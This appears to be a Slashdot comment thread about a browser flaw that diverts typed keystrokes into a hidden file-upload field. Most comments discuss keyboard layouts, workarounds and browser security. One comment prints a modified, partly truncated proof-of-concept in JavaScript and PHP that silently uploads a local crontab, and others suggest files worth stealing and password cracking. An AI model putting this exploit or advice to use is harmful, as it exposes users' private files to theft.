      Yesterday was the time to do it right. Are we having a REVOLUTION yet?
  26. What about Konqueror? Or Safari? Or Opera? by Phil+Urich · · Score: 3, Interesting
    Is this a case where using a really non-standard browser (well, I mean, Konqueror is standard for KDE but it's not like KDE is a common household word in middle America, heh) leaves one untouched? Or is this potentially a wider implementation problem? I did RTFA, and it is speculated upon. In Michal Zalewski's bug submission:

    Opera is unlikely to be vulnerable to that exact attack, because it is impossible to focus on the file input text field, only on the 'browse' button; other browsers were not tested, but I would expect at least some to be susceptible (naturally, on MacOS X or Linux, test cases have to be modified to access an existing file). However this leaves the question mostly still open (even Opera perhaps, if something related that took into account Opera's different handling of these cases, right? Or am I reading wrong?).
    --
    I remember sigs. Oh, a simpler time!
  27. Re:innerHTML by SanityInAnarchy · · Score: 1

    Well, seeing as file upload fields probably cannot have a default value, I'd assume this would be validated the same way. I'll leave it to someone else to test that theory, though.

    --
    Don't thank God, thank a doctor!
  28. The vulnerability is called 'users' by mrkitty · · Score: 1

    No matter how much you secure something, you're always going to have to deal with users. They will always do stupid things regardless of what safeguards you have in place.

    --
    Believe me, if I started murdering people, there would be none of you left.
  29. Flaw is locale-dependent by ESqVIP · · Score: 1

    As it checks the keydown event (which happens before the keys are interpreted according to your keyboard layout), it is locale-dependent. It won't work on my localized keyboard, as its ":" key is not in the same place as on an US/international keyboard. So it fails here both on Firefox 2.0.0.2 and IE7. (on Fx, for instance, if I type what it asks it only catches "C"; but it "works" if I type in "CÇ]boot.ini".)

    1. Re:Flaw is locale-dependent by Flashbck · · Score: 1

      No this flaw is NOT locale dependent. This particular proof of concept IS locale dependent but it can be designed for any locale that the code writer wishes to target. If I were to want to design this flaw for your locale, I would change the expected location of the ';' key.

    2. Re:Flaw is locale-dependent by ESqVIP · · Score: 1

      If I were to want to design this flaw for your locale, I would change the expected location of the ';' key.

      And if you need to adapt to specific locales, how exactly that isn't locale dependency? I'm not saying that others are completely immune, but that it will only work for a particular set of keyboard layouts that you've expected. (and testing for the right layout will need a few more keystrokes, though that isn't the matter here)

    3. Re:Flaw is locale-dependent by neomunk · · Score: 1

      Actually, what you described is locale SPECIFIC, not locale dependent. There's a difference, and it applies here.

    4. Re:Flaw is locale-dependent by ESqVIP · · Score: 1

      Okay, I used the wrong word. Sorry, English is not my first language.

    5. Re:Flaw is locale-dependent by Flashbck · · Score: 1

      I agree with your argument (with the already mentioned revision of the word dependent to specific). I would like to revise my earlier solution. If I were to attempt to create such an exploit, which I will not do, I would create a simple check that would determine the keycode and the resulting character. Using this information I can make an exploit that is completely locale independent.

      Of course a very simple work around to avoid the possibility of being exploited in such a manner is to type all posts in a simple text editor. The exploit will not work if you copy and paste text into the textarea/input type=text

      OPEN PARANOIA TAG what if the writers of my OS left an exploitable buffer overflow that allowed hackers to get this information without my involvement at all!!?!??!?! Oh no!!!!!!! Run for the hills!!!!!!!!! CLOSE PARANOIA TAG

    6. Re:Flaw is locale-dependent by neomunk · · Score: 1

      Not at all, and I'm not being a grammar nazi, but the difference in concept is important here.

      Dependent implies that the exploit will only be able to effect some machines, no matter how it's written.
      Specific implies that code would have to be changed from one platform to the other, but could be made to work.

      That's it, but it's a world of difference.

    7. Re:Flaw is locale-dependent by ESqVIP · · Score: 2, Interesting

      I could be wrong, but I don't think you can really predict the character output of a keydown event, as it happens on a keystroke-level, before important factors (dead keys, shift and caps state, keyboard layout) are analyzed to determine the final character. The appropriate event for that would be keypress, but on my tests it can't be hijacked (maybe there could be some trick). So, you'd need a few initial keystrokes to test which characters they produce, and then attempt to guess the layout being used.

    8. Re:Flaw is locale-dependent by HeroreV · · Score: 1

      As it checks the keydown event (which happens before the keys are interpreted according to your keyboard layout)

      The keydown event specifies the character entered and whether keys like ctrl/alt/shift/meta are pressed. It doesn't matter whether you pressed a key at the top-left to get a "z" or whether you pressed a key at the bottom-right to get a "z". If you entered a "z", the keydown event will specify that a "z" was entered.
    9. Re:Flaw is locale-dependent by ESqVIP · · Score: 1

      You seem not to know the differences between keyboard layouts.

      Yes, for Z it will specify that the key "Z" (in uppercase, since I do not have a lowercase "z" on my keyboard and, as I stated before, checking for caps/shift is keypress' job). But on my keyboard, if I press the Ç key, I'll naturally get a "ç", though the keycode for it is 59 (";" in US-International layout). Even on US-International you can see that keycode does not always map to actual character result: both ":" and ";" generate the keycode 59 (since they both are on the same key, while the ASCII value for ":" is 58). The keypress event, on the other hand, tells the character outcome of one or more keydown events.

      And that's why I said on my original post that the best the vulnerability example could do on my keyboard was to catch "CÇ]boot.ini".

    10. Re:Flaw is locale-dependent by HeroreV · · Score: 1

      Okay, I understand what you're saying. However, you said the keydown event "happens before the keys are interpreted according to your keyboard layout" which is not true.

      When I'm using Qwerty and I hit the key under my left index finger (f/F), the keyCode property of the keydown event is 70 (0x46), which is the Unicode value for a capital F.
      When I'm using Dvorak and I hit the key under my left index finger (u/U), the keyCode property of the keydown event is 85 (0x55), which is the Unicode value for a capital U.

      The value of the keyCode property changed because the key is interpreted according to my keyboard layout, and I changed the keyboard layout.

  30. And the workaround is... by camcorder · · Score: 1

    You should disable javascript, yet again.

  31. OT: CS:101 - Lost updates. by TapeCutter · · Score: 2, Informative

    "Often when somebody prints out a document to distribute at a meeting they print the full path to the document in the footer of every page. This has always seemed like a bad idea to me."

    Managing documents is not a task to be taken lightly, especially when the document is the product of more than one person, document management systems work in essentially the same way as source control systems. The reason the file is on the footer is to deliberately identify where the document came from (ie: is it "official" or just someones private backup copy). It is also (ironically) a simplistic security measure that makes hard copies somewhat trackable.

    Removing the path is a "security through obscurity" solution that would impose an inconvienince on the people who create/edit/review documentation and would increase the risk of corrupt documentation (ie: lost update syndrome).

    OTOH: I'm sure there are cases where "burning" is demanded because "shreading" is considered too risky, but I rather think they would be the exception rather than the rule.

    --
    And did you exchange a walk on part in the war for a lead role in a cage? - Pink Floyd.
  32. I thought this was fixed ? by smoker2 · · Score: 1

    This was news a while ago, but there have been more since then, all of which are fixed in the latest update of Firefox (AFAIK).
    The Reg carried this story yesterday. I don't know if IE7 is fixed yet, but I had an auto update to Firefox (2.0.0.2), 3 days ago.

  33. Re:Offtopic rant by Macthorpe · · Score: 1

    Furthermore, words change in meaning over time

    This is patently false. This conversation is very nice, so I'm going to go and play a gay game, get a cool drink, watch a counterfeit video and get some truly bad snack food.

    --
    "It does not do to leave a live dragon out of your calculations, if you live near him." - Tolkien
  34. Sand boxing ? by DrYak · · Score: 1

    Maybe the sand boxing is better and Firefox/Linux refuses that script have access to file that wheren't selected with a choose box ?

    --
    "Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
  35. Doesn't work here by Arancaytar · · Score: 1

    Windows XP Pro, SP2. Running Firefox 2.0.0.2.

    It does catch the first "c" I type, but it stops after that - colons aren't caught.

    Two theories:

      1 - One of my numerous Firefox extensions is interfering with the Javascript
      2 - I'm using a German "kezboard". Colons are in a different place. Now off to check if my uppercase "Ö" gets captured...

    1. Re:Doesn't work here by rs232 · · Score: 1

      Doesn't work with Firefox 2.0.0.1 with noscript. Allowing the site and it can't read boot.ini as I'm logged in as standard user.

      --
      davecb5620@gmail.com
    2. Re:Doesn't work here by [ella] · · Score: 1

      I'm using a Belgian keyboard, and it doesn't work either. With pipes, backslashes and other goodies, scriptkiddies will really have a fun time developing exploits!

      --
      Mike
    3. Re:Doesn't work here by Arancaytar · · Score: 1

      I'd like to see an alternative demo that could capture a file specified in advance - since this "C:\boot.ini" obviously is far too platform/permissions dependent to really demonstrate the flaw...

  36. QUERTZ keyboard not affected by Arancaytar · · Score: 1

    I switched to a US keyboard map, and was able to enter my boot.ini path (although of course I don't have read access to it, so it doesn't matter anyway).

    With the German key map (QUERTZ), it doesn't work. Neither 'Ö' not ':' are recognized by the page. Interesting.

  37. Re:Offtopic rant by julesh · · Score: 4, Informative
    I abhor the use of the word "enjoy" in the media and by marketing people in particular. Form fields may *have* protection; they do not *enjoy* protection because they aren't fucking conscious. And nobody enjoys, say, the protection of car insurance. I don't sit at home feeling all warm and fuzzy because I've just taken out some policy.

    Seeing this in tech news just shows how much this has spread. I no longer want to use the word enjoy at all because every time I hear it, I am reminded of this usage and feel a twinge of annoyance.

    I want my English language back from these idiots!

    Online Etymology Dictionary
    enjoy
    c.1380, [...] Sense of "have the use or benefit of" first recorded c.1430. [...]

    Online Etymology Dictionary, © 2001 Douglas Harper (Link)


    You'll have to go a long way back to claim this one.
  38. Works on FireFox under Linux by smiggly · · Score: 5, Interesting

    It just takes a few changes. Try this:

    http://www.thanhngan.org/fflinuxversion.html

    1. Re:Works on FireFox under Linux by junglee_iitk · · Score: 1

      I couldn't test it because as soon as I press "/", quick find dialog box opens up.

      I am using Firefox 3.0 cvs

  39. Re:Offtopic rant by Dystopian+Rebel · · Score: 1

    the media and by marketing people in particular [...]
    I want my English language back from these idiots


    You have to realize how ridiculous these people are. They babble for a living.

    I must warn you that I have heard marketing people talking about their "Spider Sense tingling" and needing to "ping" colleagues for information.

    "Your language" has been and always will be hostage to idiots. If you want to feel more secure, I suggest that you change your language from English to C. The C compiler is much stricter.
    --
    Rich And Stupid is not so bad as Working For Rich And Stupid.
  40. it's a POC by Launch · · Score: 1

    for everyone out there who has commented that ooooo it doesn't work on my non-admin account, ooo I lock down access to my boot.ini (listen if you really want my boot.ini, email me, I'll send it to you), oooo I run linux.

    It's a proof of concept about a focus redirect exploit (bug? that's a misnomar). The example itself (displaying boot.ini) is not the exploit, the exploit is the hijacking of selective typed text in one textbox and applying it to another. The application of this exploit could be much different than displayed in this example.

    --
    Your mammas flamebait.
  41. NoScript stops it by 140Mandak262Jamuna · · Score: 1

    First time I tried, it did not work. Then I disabled NoScript to give permission to that site, then it workd, it showed me my c:\boot.ini. Since I permit only very few trusted sites to execute scripts in my work machine I am safe here. But the common use laptop in my home would be vulnerable. Stil it is only unauthorized snooping of my files. Not as bad as drive by downloads or system modifications.

    --
    sed -e 's/Chuck Norris/Rajnikant/g' joke > fact
  42. Wrap it up! by loconet · · Score: 1

    And that kids, is what happens when you don't use condoms. Firefox should have known better.

    --
    [alk]
  43. The race is on! by the-matt-mobile · · Score: 1

    It will not only be very interesting to see who releases a patch first, but also by what margin.

  44. IE7, Firefox2, Opera9, Konqueror and Safari by Vexorian · · Score: 1

    IE7, Firefox2, Opera9, Konqueror and Safari share a vulnerability: Javascript.

    --

    Copyright infringement is "piracy" in the same way DRM is "consumer rape"
  45. Of Course They Do! by Crystalmonkey · · Score: 1

    It's called Windows!

  46. IP violation by darth_linux · · Score: 2, Funny

    Firefox obviously violates M$ IP if there is a shared venerability.

    --
    Power to the Penguin!
    1. Re:IP violation by Tim+C · · Score: 1

      Unless it's an unintended consequence of one (or more) of the relevant specs, or it's in a third-party library that both browsers happen to use.

  47. With all these FireFox vulnerabilities... by QuietLagoon · · Score: 1

    ... I can not but wonder why FireFox is considered to be a secure browser. It seems to have more security issues than IE lately. Is the underlying code quality of FireFox that bad?

    1. Re:With all these FireFox vulnerabilities... by ImTheDarkcyde · · Score: 1

      exactly, i mean, not to sound like flamebait, but you think people would have moved on to Opera by now, but yet it still remains LARGELY ignored (how often do you hear about opera vunerabilities?)

    2. Re:With all these FireFox vulnerabilities... by dvice_null · · Score: 1

      > I can not but wonder why FireFox is considered to be a secure browser. It seems to have more security issues than IE lately

      0. "seems to have" doesn't sound very scientific proof.

      1. Each security bug in Firefox is revealed and count as one, in IE not all are revealed (mostly only if they are public already) and often several have been counted as one by Microsoft. And most like Microsoft is not the only one. Opera didn't reveal the security bug it fixed untill a long time after the version had been released, perhaps under the pressure of the person who found it. Most likely all closed source software vendors hide a lot of details from the customers. In open source world you can't do this, because every patch you make is public and in the case of Firefox, viewed by several different people.

      2. Even with the situation mentioned in 1), Firefox has less critical security issues than IE. Of course it is fun to count the total amount of security bugs, but which matters more to you. 1 bug that allows attacker to steal all your data and install your computer full of viruses, or 10 bugs that allow attacker to change the background of the webpage without your permission?

      3. Repair times for severe bugs are a lot faster than they are for IE.

      4. I still have not seen a single news about using a security bug in Firefox to infect user's computer. IE on the other hand has had a lot of these news. So either there are not severe bugs enough to be used or the users of Firefox are simply not attractive for the attackers.

      Just because of the 4) it doesn't matter what browser you use and you are safe, unless it is IE. Sure it can change when Firefox gets more popular (I hear this a lot.). But it's market share has increased a lot and we are still waiting this to happen. Apache is also a market leader and it doesn't seem to have much problems either. Perhaps open source is just better.

      And the name is Firefox, only first letter is in upper case.

    3. Re:With all these FireFox vulnerabilities... by QuietLagoon · · Score: 1
      They need to change the default settings if they want to get more users.

      That is 100% correct. Opera default settings result in a screen that is way too cluttered and complex. The default settings should result in a very simple screen for browsing. Then let the users complicate things if they want to. The users who are capable of handling the extra complexity will find the configuration adjustments, and tailor the user interface to their needs very quickly.

      You don't know how many times I have seen people stop using Opera because the default settings are bad.

    4. Re:With all these FireFox vulnerabilities... by QuietLagoon · · Score: 1
      It's closed source, meaning that it might be as bad as IE and we just don't know.

      I do not buy into the oft cited concept that closed source is less secure. Look at Sendmail, look at Firefox. Both are rife with security issues, and both are open source.

      Security 'sploits are the result of poor programming, not closed source.

  48. Re:Offtopic rant by Cthefuture · · Score: 1

    anthropomorphize
    Main Entry: anthropomorphize
    Function: verb
    Inflected Form(s): -phized; -phizing
    transitive verb : to attribute human form or personality to
    intransitive verb : to attribute human form or personality to things not human

    --
    The ratio of people to cake is too big
  49. Minefield by bhamlin · · Score: 1

    It didn't work for me on Firefox 3.0a3, so I guess there's a good reason to be on the bleeding edge. :D

  50. That's mostly right, actually by Anonymous Coward · · Score: 2, Informative

    To do something useful with the exploit, the attacker needs to know the name and location of a desired file, and the browser has to be permitted to upload (read) the file. Obviously one dramatic way to use the information gained is to hack the victim's system. Most OSes, properly configured, don't let ordinary users (or their browsers) read critical system files, but Windows does.

    Even on better-designed OSs, though, the exploit has uses for espionage and spam. People tend to put data files in predictable places, using predictable names. With a little luck or a large pool of visitors you can get financial information from QuickBooks, personal info (and valid email adresses) from Outlook contact books, business information from powerpoint documents stored in My Documents, or the complete set of somebody's recent email correspondence.

    The focus-diversion technique sounds awkward at first, but I've been thinking of ways to make it more reliable without the user getting suspicious (eg, trick them into typing several backslashes in between other text) - and if I can think of them, others can too.

  51. Comment removed by account_deleted · · Score: 2, Funny

    Comment removed based on user account deletion

  52. Detection seems a bit random by RockMFR · · Score: 1

    It worked for me (Firefox 1.5.0.9, XP), but I had to retype it a few times as it didn't always detect the keystrokes. Though, I'm sure there are many ways to implement this type of attack. Hopefully the devs won't just patch this particular vector.

  53. wtf? by rainman_bc · · Score: 1

    So the user takes the form and positions it off screen where the input type="file" tag is.

    The real problem lies in that it is there, just not visible in the browser.

    I can accept that. The key is style="position: absolute; left: -500px;...

    And then the div tag's style: style="position: absolute; left: 510px;... that takes the form and puts it back to pop

    Then the dev closes the div tag and places the file field to the left.

    Clever. But there is some security in obscurity. Knowing which files to grab that are of real use... I suppose grabbing someone's registry could yield something interesting about the user, and then parsing through it to find relevant keys and then using another form to get something of real value would be about the most useful thing you can do...

    --
    09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
  54. I think it's really sweet by Maxo-Texas · · Score: 1

    That both browsers are mature enough to share.

    --
    She was like chocolate when she drank... semi-sweet at first and then increasingly bitter.
  55. Hack of a Work-Around by Perfectstar · · Score: 1

    This vulnerability isn't present when viewing the infected page from IETab/IEView in Firefox 2.0.0.9. Can anyone explain why that is?

    --
    (c) 2007
  56. I've used it for years! by the_greywolf · · Score: 1

    I don't really see how this is an "exploit," since it seems to require user intervention. But in any case, I've been doing this using VBA with IE to automatically fill out file upload fields - for years.

    I know, I should have used Curl or something back then, but it was Access VBA. Don't blame me!

    The real "fix," though, would be to remove the text box entirely and just have a browse button.

    --
    grey wolf
    LET FORTRAN DIE!
  57. Re:Please enter this captcha.. by neomunk · · Score: 1

    Just to let you know, hacking (cracking actually, but I'm playing to a demographic) doesn't always have to involve flying through spirally fractal-ish datastructures looking for files that might have something to do with a virus that floods supertankers while singing "Row-Row-Row Your Boat".

    If you've been following along with the comments at all you'd realize that being able to read certain files (depending on OS and security implemented) will make an attempted intrusion much easier, for a slew of reasons.

    In some (hopefully rare) cases you'll be able to get a list of encrypted passwords attached to their usernames. Run your preferred cracking program, on your own home computer, on your own time and after a while you'll be able to walk in the front door using the house keys.

    Okay, what if you can't get passwords, because they've denied you that (shadowing), you might still be able to get a list of logins that WILL work if the box is bruteforced (like trying every combination on a lock, starting with the common ones first) by seeing which users can SSH in. Even better would be someone getting ahold of your private encryption keys.

    Don't get me started on what fun files you could grab in Windows, running as Admin... Hell, even running limited, wouldn't it suck to have someone grab your quickbooks data file?

  58. Linux code by DrYak · · Score: 1

    At the end of this post, the PHP code for a Linux version (whitch uploads crontab).
    - The key pressing timing is absolutely critical. Too slow or too fast and everything breaks. Appart from a captcha, I don't see what input would have the correct pace not to go noticed. The exploit can't just stay around waiting while users type the needed keys in a chat windows, because the keypress pace won't be optimal and both the exploit will get out-of sync and won't capture the output it needs, and the chat window is disturbed and shows abnormal input.
    - "Session Plugin" and similar plugins that can keep the content of form between reloads completly breaks it, causing the exploit loose sync.
    - Focus-controlling methods (either disabling javascript focus() in about:config settings, or anti-SPAM plugins) just make void the whole purpose of the exploit.
    - Konqueror isn't affected by this (IE version copies the FULL text from the input field, FFversion doesn't copy anything) and, anyway, always open a dialog box with list of uploaded files before proceeding.
    - AFAIK, Safari doesn't have a file input field at all, the only way to select a file is to open a file chooser box and then type/select file in that box. So It isn't affected either.

    Possible &#167;lutions :
    - Go for the "Vista UAC"-like user annoying method and add a "This are the file you'll be uploading" box (like Konqueror's). And hope user won't start automatically clic on OK whatever happens.
    - Completly remove the input field. Leave only a button and, optionaly a status line indicating the last file selected in the chooser. Let the user type what he want is the chooser box, if he wants to go for the keyboard solution. I thinks that's the most sensible way. Leaving a sensitive point (selection of file to upload) in the page itself (and therefor under the control of the page) and then subsequently write special case hacks to patch each exploitable bug that gets discovered is stupid to begin with.
    - Ignore the problem because it's rather hard to reproduce. (But that's realy lazy).

    On-line :
    http://www.sympato.ch/~dryak/test-bug

    Modified Code (based on bugtraq's original) :
    <html>
    <head><title>Firefox focus bug on Linux</title></head>
    <body style="overflow: hidden">
    <script>
    var do_nothing = 0;
    var needstr = [ 111, 69, 84, 67, 111, 67, 82, 79, 78, 84, 65, 66 ];
    var curat = 0;

    function divert_focus(e) {
    var evt = window.event ? event : e;
    var cc = evt.charCode ? evt.charCode : evt.keyCode; //if (cc) alert(cc);
    if (needstr[curat] == cc) {
    do_nothing = 0;
    document.getElementById("foo2").focus();
    } else do_nothing = 1;
    }

    function restore_focus() {
    if (!do_nothing) {
    document.getElementById("foo1").value = document.getElementById("foo1").value +
    document.getElementById("foo2").value.charAt(curat );
    if (++curat == 12) document.getElementById("foo3").click();
    document.getElementById("foo1").focus();
    do_nothing = 1;
    }
    document.getElementById('pdiv').innerHTML = document.getElementById('foo2').value;
    }

    </script>
    <pre>
    <?php if ($_POST['foo1']) {
    print "Text :\n${_POST['foo1']}\n";
    print "Filename :\t" . $_FILES['foo2']['name'] . "\n";
    print "Filesize :\t" . $_FILES['foo2']['size'] . " bytes\n";
    print "Filetype :\t" . $_FILES['foo2']['type'] . "\n";
    print "uploaded :\t" . $_FILES['

    --
    "Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
  59. Re:Offtopic rant by julesh · · Score: 1

    Your point? I know perfectly well what "anthropomorphize" means (although I usually spell it with an s, rather than a z).

    The point is that no anthropomorphisation is taking place in sentences like "the house enjoys views across the river" or whatever, because "enjoy" doesn't only refer to the human emotion, but has additional meanings also, which have existed for nearly 6 centuries. They may have been anthropomorphic then; they aren't any more.

  60. Re:IE7 Vista by kheldorin · · Score: 1

    It didn't display anything for me. Running on admin account with read permission to c:\boot.ini.

  61. Really Needs a Proper Fix by magixman · · Score: 1

    That exploit really is instructive. There is simply no end to the creativity of the hacker.

    Maybe we can finally dispense with the whole clunky two-step file upload. I mean who ever actually types a file name into the file upload field. You press the browse button to populate the field and then hit submit. Smart sites actually script it to one step by doing a submit off an onchange event in the file field. There really is no need to ever present a field to start with and it is just an accident waiting to happen. The upload should be one step that cannot be "messed" with.